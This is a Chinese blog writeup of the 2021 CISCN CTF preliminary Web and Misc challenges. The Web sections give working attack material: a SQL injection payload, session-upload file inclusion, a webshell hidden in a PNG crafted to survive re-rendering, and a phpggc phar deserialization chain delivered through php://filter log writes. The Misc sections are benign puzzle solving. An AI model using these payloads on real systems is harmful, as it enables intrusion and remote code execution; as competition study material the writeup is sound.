Toc
  1. Web
    1. easy_sql
    2. easy_source
    3. middle_source
    4. Upload
    5. filter
  2. Misc
    1. tiny traffic
    2. running_pixel
    3. 隔空传话
    4. robot
Toc
0 results found
Rayi
2021CISCN国赛初赛Web+Misc Writeup
2021/05/18 WriteUp WriteUp

熬夜打比赛太难了

[toc]

Web

参考文章

http://w4nder.top/?p=451

https://r0yanx.com/2020/10/28/fslh-writeup/

https://xz.aliyun.com/t/9030?page=1#toc-6

https://ma4ter.cn/2573.html

https://whoamianony.top/2021/01/15/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Laravel/Laravel%20Debug%20mode%20RCE%EF%BC%88CVE-2021-3129%EF%BC%89%E5%88%A9%E7%94%A8%E5%A4%8D%E7%8E%B0/

easy_sql

sqlmap一把梭,可以直接sqlshell

不知道列名,join 爆列名

# post data
Submit=%E7%99%BB%E5%BD%95&passwd=123%27+or+if%28%28select+*+from%28select+*+from+flag+a+join+%28select+*+from+flag%29b+using%28id%2Cno%29%29c%29%2C1%2C0%29%29+--+&uname=123

image-20210515115500742

sqlmap 一把梭

image-20210515115521150

easy_source

https://r0yanx.com/2020/10/28/fslh-writeup/

原题

image-20210515120919724

middle_source

扫描扫出来.listing

http://124.71.232.194:25743/.listing

找到session目录

image-20210515174416636

PHP_SESSION_UPLOAD_PROGRESS进行文件包含,代码执行

image-20210515174648176

image-20210515174144986

一直深入目录

?cf=../../../../../../etc/afedhebdca/icfchdieia/bcdbaigdfh/dfhjeaddei/edfaaebadj/fl444444g

image-20210515174507572

Upload

index.php

<?php
if (!isset($_GET["ctf"])) {
    highlight_file(__FILE__);
    die();
}

if(isset($_GET["ctf"]))
    $ctf = $_GET["ctf"];

if($ctf=="upload") {
    if ($_FILES['postedFile']['size'] > 1024*512) {
        die("这么大个的东西你是想d我吗?");
    }
    $imageinfo = getimagesize($_FILES['postedFile']['tmp_name']);
    if ($imageinfo === FALSE) {
        die("如果不能好好传图片的话就还是不要来打扰我了");
    }
    if ($imageinfo[0] !== 1 && $imageinfo[1] !== 1) {
        die("东西不能方方正正的话就很讨厌");
    }
    $fileName=urldecode($_FILES['postedFile']['name']);
    if(stristr($fileName,"c") || stristr($fileName,"i") || stristr($fileName,"h") || stristr($fileName,"ph")) {
        die("有些东西让你传上去的话那可不得了");
    }
    $imagePath = "image/" . mb_strtolower($fileName);
    if(move_uploaded_file($_FILES["postedFile"]["tmp_name"], $imagePath)) {
        echo "upload success, image at $imagePath";
    } else {
        die("传都没有传上去");
    }
}

看到mb_strtolower,就想到了js里转换大小写导致的一些字符问题,网上搜一搜确实php也有:İ => i

https://bugs.php.net/bug.php?id=77375

https://stackoverflow.com/questions/5473542/case-insensitive-string-comparison/5473582#5473582

不过貌似只能绕过i,如果能绕过h那将是绝杀

扫一波目录能发现example.php

<?php
if (!isset($_GET["ctf"])) {
    highlight_file(__FILE__);
    die();
}

if(isset($_GET["ctf"]))
    $ctf = $_GET["ctf"];

if($ctf=="poc") {
    $zip = new \ZipArchive();
    $name_for_zip = "example/" . $_POST["file"];
    if(explode(".",$name_for_zip)[count(explode(".",$name_for_zip))-1]!=="zip") {
        die("要不咱们再看看?");
    }
    if ($zip->open($name_for_zip) !== TRUE) {
        die ("都不能解压呢");
    }

    echo "可以解压,我想想存哪里";
    $pos_for_zip = "/tmp/example/" . md5($_SERVER["REMOTE_ADDR"]);
    $zip->extractTo($pos_for_zip);
    $zip->close();
    unlink($name_for_zip);
    $files = glob("$pos_for_zip/*");
    foreach($files as $file){
        if (is_dir($file)) {
            continue;
        }
        $first = imagecreatefrompng($file);
        $size = min(imagesx($first), imagesy($first));
        $second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
        if ($second !== FALSE) {
            $final_name = pathinfo($file)["basename"];
            imagepng($second, 'example/'.$final_name);
            imagedestroy($second);
        }
        imagedestroy($first);
        unlink($file);
    }

}

通过unicode字符可以让我们绕过i的限制,上传zip文件

zip文件中的图片文件会经过重新裁剪生成在example目录下,直接将shell拼接在图片后面或中间都是行不通的

这里就跟二次渲染绕过有点像了:

https://github.com/huntergregal/PNG-IDAT-Payload-Generator

或者

<?php
// <?$_GET[0]($_POST[1]);
// 需要开启gd2扩展
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);
 
$img = imagecreatetruecolor(32, 32);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
 
imagepng($img,"ciscn.php");

添加压缩包,重命名为test.zİp,加上png的标识,上传

#define width 1
#define height 1

image-20210518114323462

image-20210518114521661

解压

image-20210518114146978

getshell

flag目录真的是太阴间了,希望下次出题人能学会在根目录写文件

image-20210518114135492

filter

和Laravel Debug mode RCE(CVE-2021-3129)差不多

搭建环境复现时,yii2的composer.json中有个包与composer2不兼容,死活装不上,需要使用composer1进行安装

image-20210518101601976

漏洞组件如上,使用phpggc生成payload

php -d 'phar.readonly=0' ./phpggc Monolog/RCE1 "phpinfo" "1" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt
=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=39=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=6D=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=78=00=4F=00=69=00=49=00=78=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=49=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=54=00=61=00=58=00=70=00=6C=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=45=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=45=00=36=00=49=00=6A=00=45=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=54=00=6F=00=69=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=67=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=6C=00=75=00=61=00=58=00=52=00=70=00=59=00=57=00=78=00=70=00=65=00=6D=00=56=00=6B=00=49=00=6A=00=74=00=69=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=54=00=47=00=6C=00=74=00=61=00=58=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4C=00=54=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=48=00=4A=00=76=00=59=00=32=00=56=00=7A=00=63=00=32=00=39=00=79=00=63=00=79=00=49=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=6A=00=64=00=58=00=4A=00=79=00=5A=00=57=00=35=00=30=00=49=00=6A=00=74=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=77=00=61=00=48=00=42=00=70=00=62=00=6D=00=5A=00=76=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=46=00=43=00=53=00=6A=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=74=00=67=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=46=00=43=00=53=00=6A=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=74=00=67=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=64=00=47=00=56=00=7A=00=64=00=4F=00=66=00=37=00=72=00=41=00=35=00=76=00=51=00=66=00=36=00=6D=00=4B=00=43=00=70=00=6C=00=46=00=52=00=54=00=33=00=2F=00=54=00=2B=00=32=00=66=00=5A=00=51=00=35=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00

首先清空log文件

php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log

image-20210518102051812

写入payload,注意payload最后要加一个字母,

image-20210518102128810

生成phar文件

注意这里本地复现的时候需要修改config/web.php中的相关配置如下

'log' => [
    'traceLevel' => YII_DEBUG ? 0 : 0,
    'targets' => [
        [
            'class' => 'yii\log\FileTarget',
            'levels' => ['error'],
            'logVars' => [],
        ],
    ],
],

要不然会因为日志格式问题无法使用convert.quoted-printable-decode过滤器生成phar文件

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log

image-20210518102314755

触发phar

phar://../runtime/logs/app.log/test.txt

image-20210518104423302

(ps:最后远程复现的时候发现能否触发貌似与ip或者ip长度之类的有关,我一开始无法打通,换了ip后就通了,有可能是玄学问题,不知道有大佬知道为啥吗。。)

Misc

tiny traffic

分析http流量

image-20210515142351821

这仨很显眼

flag_wrapper用了gzip,解出来是CISCN{}

image-20210515142459424

去看看test,导出来用br解压缩解出来如下

image-20210515142539347

syntax = "proto3";

message PBResponse {
  int32 code = 1;
  int64 flag_part_convert_to_hex_plz = 2;
  message data {
    string junk_data = 2;
    string flag_part = 1;
  }
  repeated data dataList = 3;
  int32 flag_part_plz_convert_to_hex = 4;
  string flag_last_part = 5;
}

message PBRequest {
  string cate_id = 1;
  int32 page = 2;
  int32 pageSize = 3;
}

去看看secret,导出来用br解压缩解出来如下

image-20210515142848580

\x08\xc8\x01\x10\xa2\xd4\x99\x07\x1a\x0e\n\x05e2345\x12\x057af2c\x1a\x0f\n\x067889b0\x12\x0582bc0 \xc6\xa2\xec\x07*\td172a38dc

应该是flag的密文

网上搜proto3,发现了这个

https://github.com/google/protobuf/releases

上面那个test解出来的东西另存为flag.proto

protoc ./flag.proto  --python_out=./

出来了这个

# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler.  DO NOT EDIT!
# source: flag.proto
"""Generated protocol buffer code."""
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
# @@protoc_insertion_point(imports)

_sym_db = _symbol_database.Default()




DESCRIPTOR = _descriptor.FileDescriptor(
  name='flag.proto',
  package='',
  syntax='proto3',
  serialized_options=None,
  create_key=_descriptor._internal_create_key,
  serialized_pb=b'\n\nflag.proto\"\xd0\x01\n\nPBResponse\x12\x0c\n\x04\x63ode\x18\x01 \x01(\x05\x12$\n\x1c\x66lag_part_convert_to_hex_plz\x18\x02 \x01(\x03\x12\"\n\x08\x64\x61taList\x18\x03 \x03(\x0b\x32\x10.PBResponse.data\x12$\n\x1c\x66lag_part_plz_convert_to_hex\x18\x04 \x01(\x05\x12\x16\n\x0e\x66lag_last_part\x18\x05 \x01(\t\x1a,\n\x04\x64\x61ta\x12\x11\n\tjunk_data\x18\x02 \x01(\t\x12\x11\n\tflag_part\x18\x01 \x01(\t\"<\n\tPBRequest\x12\x0f\n\x07\x63\x61te_id\x18\x01 \x01(\t\x12\x0c\n\x04page\x18\x02 \x01(\x05\x12\x10\n\x08pageSize\x18\x03 \x01(\x05\x62\x06proto3'
)




_PBRESPONSE_DATA = _descriptor.Descriptor(
  name='data',
  full_name='PBResponse.data',
  filename=None,
  file=DESCRIPTOR,
  containing_type=None,
  create_key=_descriptor._internal_create_key,
  fields=[
    _descriptor.FieldDescriptor(
      name='junk_data', full_name='PBResponse.data.junk_data', index=0,
      number=2, type=9, cpp_type=9, label=1,
      has_default_value=False, default_value=b"".decode('utf-8'),
      message_type=None, enum_type=None, containing_type=None,
      is_extension=False, extension_scope=None,
      serialized_options=None, file=DESCRIPTOR,  create_key=_descriptor._internal_create_key),
    _descriptor.FieldDescriptor(
      name='flag_part', full_name='PBResponse.data.flag_part', index=1,
      number=1, type=9, cpp_type=9, label=1,
      has_default_value=False, default_value=b"".decode('utf-8'),
      message_type=None, enum_type=None, containing_type=None,
      is_extension=False, extension_scope=None,
      serialized_options=None, file=DESCRIPTOR,  create_key=_descriptor._internal_create_key),
  ],
  extensions=[
  ],
  nested_types=[],
  enum_types=[
  ],
  serialized_options=None,
  is_extendable=False,
  syntax='proto3',
  extension_ranges=[],
  oneofs=[
  ],
  serialized_start=179,
  serialized_end=223,
)

_PBRESPONSE = _descriptor.Descriptor(
  name='PBResponse',
  full_name='PBResponse',
  filename=None,
  file=DESCRIPTOR,
  containing_type=None,
  create_key=_descriptor._internal_create_key,
  fields=[
    _descriptor.FieldDescriptor(
      name='code', full_name='PBResponse.code', index=0,
      number=1, type=5, cpp_type=1, label=1,
      has_default_value=False, default_value=0,
      message_type=None, enum_type=None, containing_type=None,
      is_extension=False, extension_scope=None,
      serialized_options=None, file=DESCRIPTOR,  create_key=_descriptor._internal_create_key),
    _descriptor.FieldDescriptor(
      name='flag_part_convert_to_hex_plz', full_name='PBResponse.flag_part_convert_to_hex_plz', index=1,
      number=2, type=3, cpp_type=2, label=1,
      has_default_value=False, default_value=0,
      message_type=None, enum_type=None, containing_type=None,
      is_extension=False, extension_scope=None,
      serialized_options=None, file=DESCRIPTOR,  create_key=_descriptor._internal_create_key),
    _descriptor.FieldDescriptor(
      name='dataList', full_name='PBResponse.dataList', index=2,
      number=3, type=11, cpp_type=10, label=3,
      has_default_value=False, default_value=[],
      message_type=None, enum_type=None, containing_type=None,
      is_extension=False, extension_scope=None,
      serialized_options=None, file=DESCRIPTOR,  create_key=_descriptor._internal_create_key),
    _descriptor.FieldDescriptor(
      name='flag_part_plz_convert_to_hex', full_name='PBResponse.flag_part_plz_convert_to_hex', index=3,
      number=4, type=5, cpp_type=1, label=1,
      has_default_value=False, default_value=0,
      message_type=None, enum_type=None, containing_type=None,
      is_extension=False, extension_scope=None,
      serialized_options=None, file=DESCRIPTOR,  create_key=_descriptor._internal_create_key),
    _descriptor.FieldDescriptor(
      name='flag_last_part', full_name='PBResponse.flag_last_part', index=4,
      number=5, type=9, cpp_type=9, label=1,
      has_default_value=False, default_value=b"".decode('utf-8'),
      message_type=None, enum_type=None, containing_type=None,
      is_extension=False, extension_scope=None,
      serialized_options=None, file=DESCRIPTOR,  create_key=_descriptor._internal_create_key),
  ],
  extensions=[
  ],
  nested_types=[_PBRESPONSE_DATA, ],
  enum_types=[
  ],
  serialized_options=None,
  is_extendable=False,
  syntax='proto3',
  extension_ranges=[],
  oneofs=[
  ],
  serialized_start=15,
  serialized_end=223,
)


_PBREQUEST = _descriptor.Descriptor(
  name='PBRequest',
  full_name='PBRequest',
  filename=None,
  file=DESCRIPTOR,
  containing_type=None,
  create_key=_descriptor._internal_create_key,
  fields=[
    _descriptor.FieldDescriptor(
      name='cate_id', full_name='PBRequest.cate_id', index=0,
      number=1, type=9, cpp_type=9, label=1,
      has_default_value=False, default_value=b"".decode('utf-8'),
      message_type=None, enum_type=None, containing_type=None,
      is_extension=False, extension_scope=None,
      serialized_options=None, file=DESCRIPTOR,  create_key=_descriptor._internal_create_key),
    _descriptor.FieldDescriptor(
      name='page', full_name='PBRequest.page', index=1,
      number=2, type=5, cpp_type=1, label=1,
      has_default_value=False, default_value=0,
      message_type=None, enum_type=None, containing_type=None,
      is_extension=False, extension_scope=None,
      serialized_options=None, file=DESCRIPTOR,  create_key=_descriptor._internal_create_key),
    _descriptor.FieldDescriptor(
      name='pageSize', full_name='PBRequest.pageSize', index=2,
      number=3, type=5, cpp_type=1, label=1,
      has_default_value=False, default_value=0,
      message_type=None, enum_type=None, containing_type=None,
      is_extension=False, extension_scope=None,
      serialized_options=None, file=DESCRIPTOR,  create_key=_descriptor._internal_create_key),
  ],
  extensions=[
  ],
  nested_types=[],
  enum_types=[
  ],
  serialized_options=None,
  is_extendable=False,
  syntax='proto3',
  extension_ranges=[],
  oneofs=[
  ],
  serialized_start=225,
  serialized_end=285,
)

_PBRESPONSE_DATA.containing_type = _PBRESPONSE
_PBRESPONSE.fields_by_name['dataList'].message_type = _PBRESPONSE_DATA
DESCRIPTOR.message_types_by_name['PBResponse'] = _PBRESPONSE
DESCRIPTOR.message_types_by_name['PBRequest'] = _PBREQUEST
_sym_db.RegisterFileDescriptor(DESCRIPTOR)

PBResponse = _reflection.GeneratedProtocolMessageType('PBResponse', (_message.Message,), {

  'data' : _reflection.GeneratedProtocolMessageType('data', (_message.Message,), {
    'DESCRIPTOR' : _PBRESPONSE_DATA,
    '__module__' : 'flag_pb2'
    # @@protoc_insertion_point(class_scope:PBResponse.data)
    })
  ,
  'DESCRIPTOR' : _PBRESPONSE,
  '__module__' : 'flag_pb2'
  # @@protoc_insertion_point(class_scope:PBResponse)
  })
_sym_db.RegisterMessage(PBResponse)
_sym_db.RegisterMessage(PBResponse.data)

PBRequest = _reflection.GeneratedProtocolMessageType('PBRequest', (_message.Message,), {
  'DESCRIPTOR' : _PBREQUEST,
  '__module__' : 'flag_pb2'
  # @@protoc_insertion_point(class_scope:PBRequest)
  })
_sym_db.RegisterMessage(PBRequest)


# @@protoc_insertion_point(module_scope)

用它来解flag的密文(或者叫序列化后的数据)

#! /usr/bin/env python
import flag_pb2

flag_pb = flag_pb2.PBResponse()
flag_pb.ParseFromString(b'\x08\xc8\x01\x10\xa2\xd4\x99\x07\x1a\x0e\n\x05e2345\x12\x057af2c\x1a\x0f\n\x067889b0\x12\x0582bc0 \xc6\xa2\xec\x07*\td172a38dc')

print(flag_pb)


'''
code: 200
flag_part_convert_to_hex_plz: 15100450
dataList {
  flag_part: "e2345"
  junk_data: "7af2c"
}
dataList {
  flag_part: "7889b0"
  junk_data: "82bc0"
}
flag_part_plz_convert_to_hex: 16453958
flag_last_part: "d172a38dc"

'''

image-20210515143006554

把让转16进制的地方转一下,拼接起来就是flag

CISCN{e66a22e23457889b0fb1146d172a38dc}

running_pixel

给了一个gif,首先利用python分解

网上找的脚本:

import os
from PIL import Image

def analyseImage(path):
    im = Image.open(path)
    results = {
        'size': im.size,
        'mode': 'full',
    }
    try:
        while True:
            if im.tile:
                tile = im.tile[0]
                update_region = tile[1]
                update_region_dimensions = update_region[2:]
                if update_region_dimensions != im.size:
                    results['mode'] = 'partial'
                    break
            im.seek(im.tell() + 1)
    except EOFError:
        pass
    return results

def processImage(path):
    mode = analyseImage(path)['mode']

    im = Image.open(path)

    i = 0
    p = im.getpalette()
    last_frame = im.convert('RGBA')

    try:
        while True:
            print("saving %s (%s) frame %d, %s %s" % (path, mode, i, im.size, im.tile))
            if not im.getpalette():
                im.putpalette(p)

            new_frame = Image.new('RGBA', im.size)
            if mode == 'partial':
                new_frame.paste(last_frame)

            new_frame.paste(im, (0, 0), im.convert('RGBA'))
            new_frame.save('a/%d.png' % i, 'PNG')

            i += 1
            last_frame = new_frame
            im.seek(im.tell() + 1)
    except EOFError:
        pass


def main():
    processImage('running_pixel.gif')


if __name__ == "__main__":
    main()

image-20210515193334058

得到382张图片

用stegosolve打开,可以看见最后几张斗蓬上有几个单个像素点,获取小点的RGB值为(233,233,233)

image-20210515193529766

然后每个图的小点获取,在按顺序逐渐生成图片

# -*- coding = utf-8 -*-
from PIL import Image
imr = Image.new('L',(400,400))
for i in range(382):
    p = Image.open(str(i)+'.png').convert("RGB")
    width,height= p.size
    for x in range(width):
        for y in range(height):
            if p.getpixel((x,y)) == (233,233,233):
                imr.putpixel((y,x),255)#xy顺序每张图片都需要调整方向
    imr.save('result/'+str(i)+'.png')

image-20210515193121849

得到一批图片,从第一张开始慢慢往后读,上面会顺序生成字符,最后转小写得到flag

12

image-20210515192853800

125

image-20210515192925804

12504

image-20210515192942853

按照生成顺序慢慢往下看 得到一串uuid

12504d0f-9de1-4b00-87a5-a5fdd0986a00

image-20210515193047424

即为flag

隔空传话

上来给了一堆不知道什么的编码

全网搜索发现是pdu编码 一种标准短信编码

image-20210516003801333

image-20210516003834605

发现了一些提示

image-20210516003918038

image-20210516003935814

电话号码是:

8615030442000

不得不说出题人很不地道 估计当天晚上机主电话被打爆了

每一行编码都是一条短信 ,这些短信都是在2021-04-25 19:00左右

根据pdu规则将时间提取出来:

#-*- coding:utf-8 -*-
#orio1e
f =open('data.txt','r')
data=f.readlines()
for i in data:
	tmp = i[42:46]
	f=tmp[0:2]
	s=tmp[2:]
	result=f[::-1]+s[::-1]
	print(result)

复制进excel排序

image-20210516004347989

将短信数据提取出来

#-*- coding:utf-8 -*-
#orio1e
from smspdu.codecs import GSM, UCS2
#print(GSM.decode('00010005910180F6000045747419644ECBE774103C2CA783DE66101D5D0699D9E133283D07D1D16590392D9FD3413810397D4ED3E7A0B719947FD7E52038FAED2E83DCF5B6B82C07'))
f=open('data2.txt')
result=""
data=f.readlines()
f.close()

for line in data:
	dec=GSM.decode(line[-281:])
	result+=dec.replace('\n','')
	print(dec)
f1=open('output.txt','w')
f1.write(result)
f1.close()

打开output.txt

image-20210516004507751

89504e47

这不png吗

但是最后有乱码 需要把最后两个短信删掉

hexdecode更改后缀名为png

但是打不开

使用crc修复脚本修复图片

#coding=utf-8
import zlib
import struct
#读文件
file = 'output.png'  
fr = open(file,'rb').read()
data = bytearray(fr[12:29])
crc32key = eval(str(fr[29:33]).replace('\\x','').replace("b'",'0x').replace("'",''))
#crc32key = 0xCBD6DF8A #补上0x,copy hex value
#data = bytearray(b'\x49\x48\x44\x52\x00\x00\x01\xF4\x00\x00\x01\xF1\x08\x06\x00\x00\x00')  #hex下copy grep hex
n = 4095 #理论上0xffffffff,但考虑到屏幕实际,0x0fff就差不多了
for w in range(n):#高和宽一起爆破
    width = bytearray(struct.pack('>i', w))#q为8字节,i为4字节,h为2字节
    for h in range(n):
        height = bytearray(struct.pack('>i', h))
        for x in range(4):
            data[x+4] = width[x]
            data[x+8] = height[x]
            #print(data)
        crc32result = zlib.crc32(data)
        if crc32result == crc32key:
            print(width,height)
            #写文件
            newpic = bytearray(fr)
            for x in range(4):
                newpic[x+16] = width[x]
                newpic[x+20] = height[x]
            fw = open(file+'.png','wb')#保存副本
            fw.write(newpic)
            fw.close

经过翻转得到手写flag一张

翻转

xx替换为前面手机号的前八位

flag为CISCN{15030442_b5864_4c9e_b436_26def12293e4)}

robot

E3A29C2240E152176312A57BC3CC51D5

工控机器人

好像是控制机器人画图

给了一个control软件 可连接127.0.0.1上robot studio开启的服务来画图

分析流量包发现画图工控坐标的命令格式

image-20210516014838703

利用正则提取坐标 直接把坐标转化为像素点

#-*- coding:utf-8 -*-
import re
from PIL import Image
f =open("robots.txt",'r')
ori=f.read()
posis=''.join(ori.split())
f.close()
pattern=re.compile(r'tgPos\{(?P<num>\d*)\}\.Value\.\[(?P<x>\d*),(?P<y>\d*),(?P<z>\d*)\]')
result=pattern.findall(posis)
print(len(result))
im = Image.new("RGB",(1000,1000))
for item in result:
	x=int(item[1])
	y=int(item[2])
	im.putpixel((x,y),(255,255,255))
im.show()

image-20210516015118895

easy_robo_xx md5即为flag

本文作者:Rayi
版权声明:本文首发于Rayi的博客,转载请注明出处!